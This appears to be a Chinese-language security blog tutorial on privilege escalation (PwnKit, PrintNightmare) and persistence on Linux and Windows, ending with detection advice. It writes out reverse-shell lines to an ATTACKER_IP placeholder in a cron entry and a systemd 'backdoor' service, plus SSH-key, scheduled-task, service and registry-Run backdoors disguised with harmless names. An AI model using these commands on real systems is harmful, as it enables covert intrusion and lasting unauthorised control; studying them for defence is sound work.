2.8、权限的终极目标:提权与持久化

摘要:在攻防对抗中,获取初始访问权限往往只是开始。真正的挑战在于如何将有限的权限提升至最高(提权),并像"潜伏者"一样在目标系统中长期存在(持久化)。本文将深入探讨Linux/Windows的本地内核漏洞提权技术,并详解如何通过后门、计划任务、服务等手段实现持久化控制,同时从防御者视角提供检测与应对策略。


一、 提权:打开系统的"上帝模式"

提权,即权限提升,是指攻击者利用系统漏洞或配置缺陷,从普通用户权限提升至root或SYSTEM最高权限的过程。

1. Linux 内核漏洞提权实战

Linux提权常依赖于内核级漏洞。其基本流程是:信息收集 -> 寻找EXP -> 编译执行

  • 信息收集:首先,你需要了解目标系统。

# 查看系统版本信息

uname -a

# 查看发行版信息

cat /etc/issue

cat /etc/*-release

# 查看当前用户和权限

id

whoami

根据系统版本和内核版本,在 exploit-db.com 等平台搜索对应的漏洞利用代码(EXP)。

  • 经典漏洞举例:CVE-2021-4034 (PwnKit)
    这是一个在Polkit的pkexec组件中存在了长达12年的本地提权漏洞,影响范围极广。

利用步骤

    1. 在攻击机上下载公开的EXP代码,例如 pwnkit.c。
    2. 将EXP上传到目标机器。
    3. 在目标机上编译并执行。

gcc pwnkit.c -o pwnkit

./pwnkit

    1. 执行后,当前Shell将直接获得root权限。

2. Windows 内核漏洞提权实战

Windows提权思路类似,但更依赖成熟的提权辅助工具。

  • 信息收集是关键

查看系统信息

systeminfo

查看补丁列表

wmic qfe get Caption,Description,HotFixID,InstalledOn

将补丁列表与已知的提权漏洞库(如 Watson, Sherlock)进行对比,找出未修补的漏洞。

  • 使用PowerShell自动化工具:PEASS-ng
    WinPEAS 是一个强大的脚本,能自动识别系统中的各种提权弱点,包括漏洞、服务配置错误、凭证存储等。
  • 经典漏洞举例:CVE-2021-34527 (PrintNightmare)
    这是一个Windows打印后台处理程序中的远程代码执行漏洞,同样可用于本地提权。

利用步骤

    1. 使用公开的PowerShell利用脚本。
    2. 在具有普通权限的PowerShell中加载并执行脚本,指定恶意DLL的路径和回连地址。
    3. 成功后,将生成一个新的具有SYSTEM权限的会话。

二、 持久化:成为系统的"幽灵"

获得最高权限后,必须建立持久化,否则目标系统重启或权限被回收后,将前功尽弃。

1. Linux 持久化技术

  • SSH 后门 :这是最隐蔽有效的方式之一。
    • 创建隐藏的SSH授权密钥

echo 'ssh-rsa AAAAB3NzaC... your_public_key' >> /root/.ssh/authorized_keys

    • 修改SSH配置,允许root登录

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

systemctl restart ssh

  • 计划任务(Cron Jobs)

# 编辑root用户的计划任务

crontab -e

# 添加一行,例如每小时的01分反向连接到一个IP

# 1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

  • 系统服务(Systemd Service)
    创建一个恶意服务文件(如/etc/systemd/system/backdoor.service):

Unit

Description=A harmless looking service

Service

Type=simple

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1'

Restart=always

RestartSec=3

Install

WantedBy=multi-user.target

然后启动并启用它:

systemctl enable backdoor.service

systemctl start backdoor.service

2. Windows 持久化技术

  • 计划任务(Task Scheduler)
    使用schtasks命令创建一个计划任务,定期执行payload。

schtasks /create /tn "WindowsUpdateService" /tr "C:\malware\backdoor.exe" /sc hourly /ru SYSTEM /f

  • Windows 服务
    使用sc命令创建一个服务。

sc create "FakeSensorService" binPath= "C:\malware\backdoor.exe" start= auto

sc start FakeSensorService

  • 注册表启动项
    将后门路径写入运行键,实现开机自启。

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\malware\backdoor.exe" /f

  • "映像劫持"(IFEO)
    可以劫持一个系统常用程序(如sethc.exe-粘滞键),在用户触发时同时运行后门,常用于权限维持。

三、 防御者视角:如何检测与防护

攻击技术的另一面,就是防御的要点。

  • 提权防护
    1. 及时更新:严格遵循补丁管理策略,及时安装安全更新。
    2. 最小权限原则:为应用程序和用户分配所需的最小权限,避免使用高权限账户运行常规程序。
    3. 系统强化:禁用不必要的服务和功能,使用安全基线进行配置。
  • 持久化检测
    1. 监控计划任务与服务:定期审计系统上的计划任务、服务列表和启动项,关注异常项。
    2. 文件完整性监控:监控系统关键目录(如System32、启动目录)的文件变化。
    3. 网络流量分析:检测是否存在未知的、定时的外联连接。
    4. 日志分析:集中收集和分析系统日志、安全日志、PowerShell日志,寻找攻击痕迹。

结语

提权与持久化是渗透测试中承上启下的关键环节,理解这些技术背后的原理,不仅能让我们在红队行动中游刃有余,更能从根本上帮助蓝队构建更坚固的防御体系。

安全是一个持续对抗的过程,知攻方能善防。

(本文仅用于技术研究与防御教学,请勿用于非法用途。)

相关推荐
独行soc20 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
机器学习之心20 小时前
MATLAB基于变权理论和灰色云模型的海岛旅游地生态安全评价
安全·matlab·旅游·灰色云模型
unable code1 天前
攻防世界-Misc-SimpleRAR
网络安全·ctf·misc·1024程序员节
No Big Deal1 天前
ctfshow-_Web应用安全与防护-Base64多层嵌套解码
安全
Oxo Security1 天前
【AI安全】检索增强生成(RAG)
人工智能·安全·网络安全·ai
2301_795167201 天前
玩转Rust高级应用 如何让让运算符支持自定义类型,通过运算符重载的方式是针对自定义类型吗?
开发语言·后端·算法·安全·rust
小李独爱秋1 天前
计算机网络经典问题透视:什么是NAPT?它有哪些特点?
网络·网络协议·计算机网络·网络安全·智能路由器
Whoami!1 天前
⸢ 拾叁-Ⅱ⸥⤳ 安全水位评估框架(下):安全水位指标
网络安全·信息安全·安全水位指标
知花实央l1 天前
【Web应用实战】 文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)
前端·学习·网络安全·安全架构
合作小小程序员小小店1 天前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构